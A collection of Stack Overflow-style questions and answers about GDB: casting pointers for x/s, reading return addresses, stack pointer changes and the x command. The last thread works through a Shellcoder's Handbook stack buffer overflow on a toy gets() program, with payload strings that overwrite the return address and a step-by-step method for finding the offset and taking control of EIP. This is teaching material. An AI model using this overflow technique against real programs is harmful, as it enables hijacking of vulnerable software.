GDB: Attempt to dereference generic pointer - c

How can I make GDB do extra dereferences in a printing function like
x/s?
When I try explicit dereferences in x/ I get the error "Attempt to
dereference a generic pointer". Using x/ multiple times works, since
each use includes an implicit dereference, but this is annoying since
I have to copy and paste each intermediate result.
Example
Consider the very useful C program, example.c:
#include <stdio.h>
int main(int argc, char **argv) {
printf("argv[0] = %s\n", argv[0]);
}
If I build it and load it into GDB, I see that argv is stored at
0xc(%ebp), since a double dererence of that is passed as the second
argument to printf (i.e. in 0x4(%esp)) on line 26:
$ gcc -o example example.c
$ gdb example
(gdb) disass main
Dump of assembler code for function main:
0x080483e4 <+0>: push %ebp
0x080483e5 <+1>: mov %esp,%ebp
0x080483e7 <+3>: and $0xfffffff0,%esp
0x080483ea <+6>: sub $0x10,%esp
0x080483ed <+9>: mov 0xc(%ebp),%eax
0x080483f0 <+12>: mov (%eax),%edx
0x080483f2 <+14>: mov $0x80484e0,%eax
0x080483f7 <+19>: mov %edx,0x4(%esp)
0x080483fb <+23>: mov %eax,(%esp)
0x080483fe <+26>: call 0x8048300 <printf#plt>
0x08048403 <+31>: leave
0x08048404 <+32>: ret
End of assembler dump.
I break at printf and run the program with arguments first and
second:
(gdb) break *main + 26
Breakpoint 1 at 0x80483fe
(gdb) run first second
Starting program: /var/tmp/SO-attempt-to-dereference-generic-pointer/example first second
I attempt to print argv[0] in GDB, but I get the "generic pointer"
error:
Breakpoint 1, 0x080483e5 in main ()
(gdb) x/s **(0xc + $ebp)
Attempt to dereference a generic pointer.
However, by using 'x/xw' to manually dereference a few times, I'm
eventually able to print argv[0] (and argv[1]):
(gdb) x/xw 0xc + $ebp
0xbfffeba4: 0xbfffec34
(gdb) x/xw 0xbfffec34
0xbfffec34: 0xbfffedc8
(gdb) x/s 0xbfffedc8
0xbfffedc8: "/var/tmp/SO-attempt-to-dereference-generic-pointer/example"
(gdb) x/xw 0xbfffec34 + 4
0xbfffec38: 0xbfffee03
(gdb) x/s 0xbfffee03
0xbfffee03: "first"
(gdb)
But this is annoying and indirect (as pointer programming is wont to be?)

The solution is to cast the pointers before dereferencing them.
For example, picking up where we left off above:
(gdb) x/s **((char ***) (0xc + $ebp))
0xbfffedc8: "/var/tmp/SO-attempt-to-dereference-generic-pointer/example"
(gdb) x/s *(*((char ***) (0xc + $ebp)) + 1)
0xbfffee03: "first"
(gdb) x/s *(*((char ***) (0xc + $ebp)) + 2)
0xbfffee09: "second"
Note that the stack address 0xc + $ebp is itself a pointer to the
contents of that stack location, and so we need char *** and not
char **.

Related

Why cannot gdb access memory of ret instruction?

every call in asm, causes that instruction pushes return value, so once ret is called, the program knows where to continue. So I would like to examine the address upon which ret is called:
having this:
#include <stdio.h>
int main()
{
printf("a=%d; b=%d; c=%d", 1, 2, 3);
return 0;
}
I use gdb:
(gdb) b printf
+b printf
Breakpoint 1 at 0x1030
(gdb) run
+run
Breakpoint 1, __printf (format=0x555555556004 "a=%d; b=%d; c=%d")
at printf.c:28
28 printf.c: No such file or directory.
(gdb) x/10x $rsp
+x/10x $rsp
0x7fffffffdc28: 0x55555159 0x00005555 0x55555160 0x00005555
0x7fffffffdc38: 0xf7e1c09b 0x00007fff 0x00000000 0x00000000
0x7fffffffdc48: 0xffffdd18 0x00007fff
(gdb) x/i 0x55555159
+x/i 0x55555159
0x55555159: Cannot access memory at address 0x55555159
(gdb)
Here I am trying to read instruction from return address, but somehow cannot access that address. Why, when it should be valid address for ret?
As Eric Postpischil commented, you are only examining half of the return address, which 64-bit on x86_64.
Using your program:
(gdb) b printf
Breakpoint 1 at 0x1030
(gdb) run
Starting program: /tmp/a.out
Breakpoint 1, __printf (format=0x555555556004 "a=%d; b=%d; c=%d") at printf.c:28
28 printf.c: No such file or directory.
(gdb) bt
#0 __printf (format=0x555555556004 "a=%d; b=%d; c=%d") at printf.c:28
#1 0x0000555555555159 in main () at t.c:4
This shows that the return address we expect to find on the stack is 0x0000555555555159. Indeed, that is exactly the address #$rsp:
(gdb) x/gx $rsp
0x7fffffffdbd8: 0x0000555555555159
To see the instruction at that address:
(gdb) x/i 0x0000555555555159
0x555555555159 <main+36>: mov $0x0,%eax
You can also disassemble the whole main to see where you are and where you are going to return:
(gdb) disas main
Dump of assembler code for function main:
0x0000555555555135 <+0>: push %rbp
0x0000555555555136 <+1>: mov %rsp,%rbp
0x0000555555555139 <+4>: mov $0x3,%ecx
0x000055555555513e <+9>: mov $0x2,%edx
0x0000555555555143 <+14>: mov $0x1,%esi
0x0000555555555148 <+19>: lea 0xeb5(%rip),%rdi # 0x555555556004
0x000055555555514f <+26>: mov $0x0,%eax
0x0000555555555154 <+31>: callq 0x555555555030 <printf#plt>
0x0000555555555159 <+36>: mov $0x0,%eax
0x000055555555515e <+41>: pop %rbp
0x000055555555515f <+42>: retq
End of assembler dump.
As you can see, the instruction that printf will return to is indeed at address 0x0000555555555159.

Why %esp gets changed imexplitcitly?

The title is actually my second problem.
2 problems arose when I was learning the CSAPP 2nd edition, chapter 3. There're 2 relative simple files. Here's the first one:
// code.c
int accum = 0;
int sum(int x, int y)
{
int t = x + y;
accum += t;
return t;
}
The second one:
// main.c
int main() {
return sum(1, 3);
}
I used gcc to compile them, following the book. In order to get a 32-bit program, I added an -m32 option(Mine is 64-bit Ubuntu):
$ gcc -m32 -O1 -O prog code.c main.c
Things were good up to this far. But when I disassembled it using GDB, it really confused me. I got the following result that conflicted with what the book says:
(gdb) disas sum
Dump of assembler code for function sum:
0x080483ed <+0>: mov 0x8(%esp),%eax
0x080483f1 <+4>: add 0x4(%esp),%eax
0x080483f5 <+8>: add %eax,0x804a020
0x080483fb <+14>: ret
End of assembler dump.
(gdb) disas main
Dump of assembler code for function main:
0x080483fc <+0>: push %ebp
0x080483fd <+1>: mov %esp,%ebp
0x080483ff <+3>: and $0xfffffff0,%esp
0x08048402 <+6>: sub $0x10,%esp
0x08048405 <+9>: movl $0x3,0x4(%esp)
0x0804840d <+17>: movl $0x1,(%esp)
0x08048414 <+24>: call 0x80483ed <sum>
0x08048419 <+29>: leave
0x0804841a <+30>: ret
End of assembler dump.
Now here are my problems:
Why isn't there any saving %ebp or moving %esp when calling the function sum as the book describes? Or is sum inlined by the compiler?
The value 3 & 1 were already stored in the M[%esp + 4] & M[%esp], respectively. And after calling the sum, there's no instruction that alters the value stored in %esp. But inside the sum, the first instruction retrieves M[%esp + 8], which is actually 3(I set the breakpoint using GDB &checked the value), while the M[%esp + 4] stores the value 1. How come? Later I set 2 breakpoints:
(gdb) break *0x08048414
(gdb) break sum
Then I found the value stored in %esp was different at these 2 breakpoints:
Breakpoint 6, 0x08048414 in main ()
(gdb) print $esp
$8 = (void *) 0xffffd020
(gdb) continue
Continuing.
Breakpoint 5, 0x080483ed in sum ()
(gdb) print $esp
$9 = (void *) 0xffffd01c
Why would this occur?
Why isn't there any saving %ebp or moving %esp when calling the function sum as the book describes?
You might have enabled option to omit frame pointer, most probably with -Ox compiler option. You can force GCC to still keep it with -fno-omit-frame-pointer GCC command line argument:
https://gcc.gnu.org/onlinedocs/gcc/Optimize-Options.html#index-O
But inside the sum, the first instruction retrieves M[%esp + 8], which is actually 3, while the M[%esp + 4] stores the value 1. How come?
Call instruction pushes eip register to the stack and moves esp. You compiled it in 32 bit mode, so the offset is 4 bytes.

GDB and Assembly: how to examine consts variables defined in heap?

For example in the following code
"justatest" and the format "%s" is defined in heap:
char str[15]="justatest";
int main(){
printf("%s",str);
return 0;
}
in GDB,i got the assembly code before call to printf as:
=> 0x0804841f <+14>: movl $0x804a020,0x4(%esp)
0x08048427 <+22>: movl $0x80484d8,(%esp)
0x0804842e <+29>: call 0x80482f0 <printf#plt>
Do i have to examine the parameter 1by1 using "x/s 0x804a020" and "x/s 0x80484d8"
or is there a Table of constants defined in heap that i can directly refer to?
thanks!
Your understanding about str reside on heap is not correct. Its global variable which gets stored into the data segment. Regarding your print global variable, you can do as follows on my GNU/Linux terminal.
$ gcc -g -Wall hello.c
$ gdb -q ./a.out
Reading symbols from /home/mantosh/practice/a.out...done.
(gdb) break main
Breakpoint 1 at 0x400524: file hello.c, line 6.
(gdb) run
Starting program: /home/mantosh/practice/a.out
Breakpoint 1, main () at bakwas.c:6
6 printf("%s",str);
(gdb) disassemble main
Dump of assembler code for function main:
0x0000000000400520 <+0>: push %rbp
0x0000000000400521 <+1>: mov %rsp,%rbp
=> 0x0000000000400524 <+4>: mov $0x601020,%esi
0x0000000000400529 <+9>: mov $0x4005e4,%edi
0x000000000040052e <+14>: mov $0x0,%eax
0x0000000000400533 <+19>: callq 0x4003f0 <printf#plt>
0x0000000000400538 <+24>: mov $0x0,%eax
0x000000000040053d <+29>: pop %rbp
0x000000000040053e <+30>: retq
End of assembler dump.
(gdb) p str
$1 = "justatest\000\000\000\000\000"
(gdb) p &str
$2 = (char (*)[15]) 0x601020
// These are addresses of two arguments which would be passed in printf.
// From assembly instruction we can verify that before calling the printf
// these are getting stored into the registers.
(gdb) x/s 0x4005e4
0x4005e4: "%s"
(gdb) x/s 0x601020
0x601020 <str>: "justatest
later i found that for object files without a debugging symbols table
objdump -t obj
would contains most of the symbols of global variables/functions and their address
,and
objdump -D obj instead of -d
would include all sections such as .text/.data/.rodata instead of .text only
these two combined provided sufficient access to what i mentioned aboved, such as switch tables/const strings/global variables

What does gdb 'x' command do?

I am reading a book about hacking and it has a chapter about assembly.
Following is my tiny program written in C.
#include <stdio.h>
int main(int argc, char const *argv[])
{
int i;
for (i = 0; i < 10; i++) {
puts("Hello World!");
}
return 0;
}
And the following is gdb test:
(gdb) break main
Breakpoint 1 at 0x40050f: file main.c, line 7.
(gdb) run
Breakpoint 1, main (argc=1, argv=0x7fffffffe708) at main.c:7
7 for (i = 0; i < 10; i++) {
(gdb) disassemble main
Dump of assembler code for function main:
0x0000000000400500 <+0>: push rbp
0x0000000000400501 <+1>: mov rbp,rsp
0x0000000000400504 <+4>: sub rsp,0x20
0x0000000000400508 <+8>: mov DWORD PTR [rbp-0x14],edi
0x000000000040050b <+11>: mov QWORD PTR [rbp-0x20],rsi
=> 0x000000000040050f <+15>: mov DWORD PTR [rbp-0x4],0x0
0x0000000000400516 <+22>: jmp 0x400526 <main+38>
0x0000000000400518 <+24>: mov edi,0x4005c4
0x000000000040051d <+29>: call 0x4003e0 <puts#plt>
0x0000000000400522 <+34>: add DWORD PTR [rbp-0x4],0x1
0x0000000000400526 <+38>: cmp DWORD PTR [rbp-0x4],0x9
0x000000000040052a <+42>: jle 0x400518 <main+24>
0x000000000040052c <+44>: mov eax,0x0
---Type <return> to continue, or q <return> to quit---
0x0000000000400531 <+49>: leave
0x0000000000400532 <+50>: ret
End of assembler dump.
The following part is the things that I don't understand. Please note that $rip is the "instruction pointer" and points to 0x000000000040050f <+15>
(gdb) x/x $rip
0x40050f <main+15>: 0x00fc45c7
(gdb) x/12x $rip
0x40050f <main+15>: 0x00fc45c7 0xeb000000 0x05c4bf0e 0xbee80040
0x40051f <main+31>: 0x83fffffe 0x8301fc45 0x7e09fc7d 0x0000b8ec
0x40052f <main+47>: 0xc3c90000 0x1f0f2e66 0x00000084 0x1f0f0000
(gdb) x/8xb $rip
0x40050f <main+15>: 0xc7 0x45 0xfc 0x00 0x00 0x00 0x00 0xeb
(gdb) x/8xh $rip
0x40050f <main+15>: 0x45c7 0x00fc 0x0000 0xeb00 0xbf0e 0x05c4 0x0040 0xbee8
(gdb) x/8xw $rip
0x40050f <main+15>: 0x00fc45c7 0xeb000000 0x05c4bf0e 0xbee80040
0x40051f <main+31>: 0x83fffffe 0x8301fc45 0x7e09fc7d 0x0000b8ec
First command x/x $rip outputs 0x40050f <main+15>: 0x00fc45c7.
Is it the instruction at 0x40050f?
Is 0x00fc45c7 same as mov DWORD PTR [rbp-0x4],0x0 (assembled instruction at 0x40050f)?
Secondly, if it is the instruction, what are those hex numbers from the output of commands x/12x $rip, x/8xw $rip, x/8xh $rip?
As to (1), you got that correct.
As to (2), the x command has up to 3 specifiers: how many objects to print; in which format; and what object size. In all your examples you choose to print as hex (x). As to the first specifier, you ask to print 12, 8, 8 objects.
As to the last specifier in your cases:
x/12x has none, so gdb defaults to assuming you want 4-byte chunks (which GDB calls "words", x86 calls "double words"). Generally, I'd always specify what exactly you want as opposed to falling back on default settings.
x/8xw does the same, for 8 objects, as you explicitly requested dwords now.
(The x command defaults to the last size you used, but the initial default for that on startup is w words)
x/8xh requests half-word sized chunks of 2 bytes, so objects printed in 2 byte chunks. (Half-word relative to GDB's standard 32-bit word size; x86 calls this a "word").
In case you wonder why the concatenation of two neighboring values does not equal what was reported when you printed in dwords, this is because the x86 is a little-endian architecture. What that means is detailed quite well in Erickson's book again - if you look a few pages ahead, he does some calculations you might find helpful. In a nutshell, if you recombine them (2,1) (4,3), ..., you'll see they match.
(gdb) help x
Examine memory: x/FMT ADDRESS.
ADDRESS is an expression for the memory address to examine.
FMT is a repeat count followed by a format letter and a size letter.
Format letters are o(octal), x(hex), d(decimal), u(unsigned decimal),
t(binary), f(float), a(address), i(instruction), c(char) and s(string),
T(OSType), A(floating point values in hex).
Size letters are b(byte), h(halfword), w(word), g(giant, 8 bytes).
The specified number of objects of the specified size are printed
according to the format.
Defaults for format and size letters are those previously used.
Default count is 1. Default address is following last thing printed
with this command or "print".

stack overflow (shellcoders handbook)

I was taking at this example w.r.t. shellcoder's handbook(second edition), and have some question about the stack
root#bt:~/pentest# gdb -q sc
Reading symbols from /root/pentest/sc...done.
(gdb) set disassembly-flavor intel
(gdb) list
1 void ret_input(void){
2 char array[30];
3
4 gets(array);
5 printf("%s\n", array);
6 }
7 main(){
8 ret_input();
9
10 return 0;
(gdb) disas ret_input
Dump of assembler code for function ret_input:
0x08048414 <+0>: push ebp
0x08048415 <+1>: mov ebp,esp
0x08048417 <+3>: sub esp,0x24
0x0804841a <+6>: lea eax,[ebp-0x1e]
0x0804841d <+9>: mov DWORD PTR [esp],eax
0x08048420 <+12>: call 0x804832c <gets#plt>
0x08048425 <+17>: lea eax,[ebp-0x1e]
0x08048428 <+20>: mov DWORD PTR [esp],eax
0x0804842b <+23>: call 0x804834c <puts#plt>
0x08048430 <+28>: leave
0x08048431 <+29>: ret
End of assembler dump.
(gdb) break *0x08048420
Breakpoint 1 at 0x8048420: file sc.c, line 4.
(gdb) break *0x08048431
Breakpoint 2 at 0x8048431: file sc.c, line 6.
(gdb) run
Starting program: /root/pentest/sc
Breakpoint 1, 0x08048420 in ret_input () at sc.c:4
4 gets(array);
(gdb) x/20x $esp
0xbffff51c: 0xbffff522 0xb7fca324 0xb7fc9ff4 0x08048460
0xbffff52c: 0xbffff548 0xb7ea34a5 0xb7ff1030 0x0804846b
0xbffff53c: 0xb7fc9ff4 0xbffff548 0x0804843a 0xbffff5c8
0xbffff54c: 0xb7e8abd6 0x00000001 0xbffff5f4 0xbffff5fc
0xbffff55c: 0xb7fe1858 0xbffff5b0 0xffffffff 0xb7ffeff4
(gdb) continue
Continuing.
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD
Breakpoint 2, 0x08048431 in ret_input () at sc.c:6
6 }
(gdb) x/20x 0x0bffff51c
0xbffff51c: 0xbffff522 0x4141a324 0x41414141 0x41414141
0xbffff52c: 0x42424242 0x42424242 0x43434242 0x43434343
0xbffff53c: 0x43434343 0x44444444 0x44444444 0xbffff500
0xbffff54c: 0xb7e8abd6 0x00000001 0xbffff5f4 0xbffff5fc
0xbffff55c: 0xb7fe1858 0xbffff5b0 0xffffffff 0xb7ffeff4
(gdb) ^Z
[1]+ Stopped gdb -q sc
root#bt:~/pentest# printf "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD\x35\x84\x04\x08" | ./sc
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD5�
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD:�
root#bt:~/pentest#
in this example i was taking 48 bytes "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD\x35\x84\x04\x08" that to rewrite ret address, and all is work. But when i tried to use example from first edition of this book, i faced with some problem
root#bt:~/pentest# gdb -q sc
Reading symbols from /root/pentest/sc...done.
(gdb) disas ret_input
Dump of assembler code for function ret_input:
0x08048414 <+0>: push %ebp
0x08048415 <+1>: mov %esp,%ebp
0x08048417 <+3>: sub $0x24,%esp
0x0804841a <+6>: lea -0x1e(%ebp),%eax
0x0804841d <+9>: mov %eax,(%esp)
0x08048420 <+12>: call 0x804832c <gets#plt>
0x08048425 <+17>: lea -0x1e(%ebp),%eax
0x08048428 <+20>: mov %eax,(%esp)
0x0804842b <+23>: call 0x804834c <puts#plt>
0x08048430 <+28>: leave
0x08048431 <+29>: ret
End of assembler dump.
(gdb)
why program has taken 24(hex)=36(dec)bytes for array, but i used 48 that rewrite, 36 bytes of array, 8 bytes of esp and ebp(how i know), but there are steel have 4 unexplained bytes
ok, lets try out the sploit from first edition of book who rewrite all of array by address of call function, in book they had "sub &0x20,%esp" so code is
main(){
int i=0;
char stuffing[44];
for (i=0;i<=40;i+=4)
*(long *) &stuffing[i] = 0x080484bb;
puts(array);
i have ""sub &0x24,%esp" so my code will be
main(){
int i=0;
char stuffing[48];
for (i=0;i<=44;i+=4)
*(long *) &stuffing[i] = 0x08048435;
puts(array);
result of the shellcoders' handbook
[root#localhost /]# (./adress_to_char;cat) | ./overflow
input
""""""""""""""""""a<u___.input
input
input
and my result
root#bt:~/pentest# (./ad_to_ch;cat) | ./sc
5�h���ل$���������h����4��0��˄
inout
Segmentation fault
root#bt:~/pentest#
What's problem?
i was compiling with
-fno-stack-protector -mpreferred-stack-boundary=2
I suggest you better get the amount of bytes necessary to overflow the buffer by trying in GDB. I compiled the source you provided in your question and ran it through GDB:
gdb$ r < <(python -c "print('A'*30)")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 29912) exited normally]
(Do note that I use Python to create my input instead of a compiled C program. It really does not matter, use what you prefer.)
So 30 bytes are fine. Let's try some more:
gdb$ r < <(python -c "print('A'*50)")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x41414141
0x41414141 in ?? ()
gdb$ i r $eip
eip 0x41414141 0x41414141
Our eip register now contains 0x41414141, which is AAAA in ASCII. Now, we can gradually check where exactly we have to place the value in our buffer that updates eip:
gdb$ r < <(python -c "print('A'*40+'BBBB')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x8004242
0x08004242 in ?? ()
B is 0x42. Thus, we overwrote half of eip when using 40 A's and four B's. Therefore, we pad with 42 A's and then put the value we want to update eip with:
gdb$ r < <(python -c "print('A'*42+'BBBB')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x42424242
0x42424242 in ?? ()
We got full control over eip! Let's try it. Set a breakpoint at the end of ret_input (your addresses may vary as I recompiled the binary):
gdb$ dis ret_input
Dump of assembler code for function ret_input:
0x08048404 <+0>: push %ebp
0x08048405 <+1>: mov %esp,%ebp
0x08048407 <+3>: sub $0x38,%esp
0x0804840a <+6>: lea -0x26(%ebp),%eax
0x0804840d <+9>: mov %eax,(%esp)
0x08048410 <+12>: call 0x8048310 <gets#plt>
0x08048415 <+17>: lea -0x26(%ebp),%eax
0x08048418 <+20>: mov %eax,(%esp)
0x0804841b <+23>: call 0x8048320 <puts#plt>
0x08048420 <+28>: leave
0x08048421 <+29>: ret
End of assembler dump.
gdb$ break *0x8048421
Breakpoint 1 at 0x8048421
As an example, let's modify eip so once returning from ret_input we end up at the beginning of the function again:
gdb$ r < <(python -c "print('A'*42+'\x04\x84\x04\x08')")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
--------------------------------------------------------------------------[code]
=> 0x8048421 <ret_input+29>: ret
0x8048422 <main>: push ebp
0x8048423 <main+1>: mov ebp,esp
0x8048425 <main+3>: and esp,0xfffffff0
0x8048428 <main+6>: call 0x8048404 <ret_input>
0x804842d <main+11>: mov eax,0x0
0x8048432 <main+16>: leave
0x8048433 <main+17>: ret
--------------------------------------------------------------------------------
Breakpoint 1, 0x08048421 in ret_input ()
We pad 42 A's and then append the address of ret_input to our buffer. Our breakpoint on the ret triggers.
gdb$ x/w $esp
0xffffd30c: 0x08048404
On top of the stack there's the last DWORD of our buffer - ret_input's address.
gdb$ n
0x08048404 in ret_input ()
gdb$ i r $eip
eip 0x8048404 0x8048404 <ret_input>
Executing the next instruction pops that value off the stack and sets eip accordingly.
On a side note: I recommend the .gdbinit file from this guy.
This row :
for (i=o;i<=44;i+=4);
Remove the ; from the end. I also assume that the o(letter o) instead of 0(zero) is mistyped here.
The problem is that your for loop is executing ; (a.k.a. do nothing) until i becomes larger then 44, and then you execute the next command with i = 44 wich is outside the bounds of array and you get Segmentation Error. You should watch out for this type of error as it is hardly visible and it is completely valid c code.

Resources